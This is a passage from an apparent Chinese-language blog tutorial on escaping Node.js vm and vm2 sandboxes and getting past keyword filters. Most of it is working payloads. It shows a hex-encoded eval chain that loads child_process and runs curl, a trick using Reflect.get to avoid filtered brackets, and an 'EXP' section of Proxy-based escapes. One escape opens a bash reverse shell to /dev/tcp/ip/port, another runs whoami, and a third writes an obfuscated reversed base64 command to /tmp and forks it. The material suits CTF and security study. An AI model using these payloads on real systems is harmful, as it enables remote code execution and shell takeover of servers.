class="lang-javascript">global[Reflect.ownKeys(global).find(x=&gt;x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')</code></pre><p>这里还有个小trick，如果过滤了<code>eval</code>关键字，可以用<code>includes('eva')</code>来搜索<code>eval</code>函数，也可以用<code>startswith('eva')</code>来搜索</p><h2>过滤中括号的情况</h2><p>上面提到，获取到eval的方式是通过<code>global</code>数组，其中用到了中括号<code>[]</code>，假如中括号被过滤，可以用<code>Reflect.get</code>来绕。</p><p><code>Reflect.get(target, propertyKey[, receiver])</code>的作用是获取对象身上某个属性的值，类似于<code>target[name]</code>。</p><p>所以取eval函数的方式可以变成</p><pre><code class="lang-js">Reflect.get(global, Reflect.ownKeys(global).find(x=&gt;x.includes('eva')))</code></pre><p>后面拼接上命令执行的payload即可。</p><h1><strong>EXP</strong></h1><p>所以上面提到的绕过vm的poc可以改成</p><pre><code class="lang-javascript">throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const g = (cc.constructor.constructor('return global'))();   //拿到所有函数
            const p = Reflect.get(g, Reflect.ownKeys(g).find(x=&gt;x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));//编码绕过构造process.mainModule.require('child_process')(其实replace之类的东西就能绕过)
            return Reflect.get(p, Reflect.ownKeys(p).find(x=&gt;x.includes('exe')))(&quot;bash -c 'bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1'&quot;).toString();//构造exec函数
        }
    })</code></pre><pre><code class="lang-javascript">throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
            const obj = p.mainModule.require('child_procBess'.replace('B',''));
            const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
            return ex.value('whoami').toString();
        }
    })</code></pre><pre><code class="lang-javascript">throw new Proxy({}, {
     get: function(){
        const content = `;)&quot;'}i-,hsab{|}d-,46esab{|}d-,46esab{|}9UkaKtSQEl0MNpXT4hTeNpHNp5keFpGT5lkaNVXUq1Ee4M0YqJ1MMJjVHpldBlmSrE0UhRXQDFmeG1WW,ohce{' c- hsab&quot;(cexe;)&quot;ssecorp_dlihc&quot;(eriuqer = } cexe { tsnoc`;
        const reversedContent = content.split('').reverse().join('');    
         const c = arguments.callee.caller;
         const p = (c.constructor.constructor(`${`${`return proces`}s`}`))();
         p.mainModule.require('fs').writeFileSync('/tmp/test1.js', reversedContent);
        return p.mainModule.require(`${`${`child_proces`}s`}`).fork('/tmp/test1.js').toString();
    }
})</code></pre>

前言

Nodejs作用域

vm沙箱逃逸

特殊

vm2中的沙箱绕过

CVE-2019-10761

CVE-2021-23449

知识星球的trick

Bypass

16进制编码

unicode编码

加号拼接

模板字符串

concat连接

base64编码

Obejct.keys

Reflect

过滤中括号的情况

EXP

发表评论 取消回复 使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款

NodeJS 沙箱逃逸

发表评论取消回复
使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款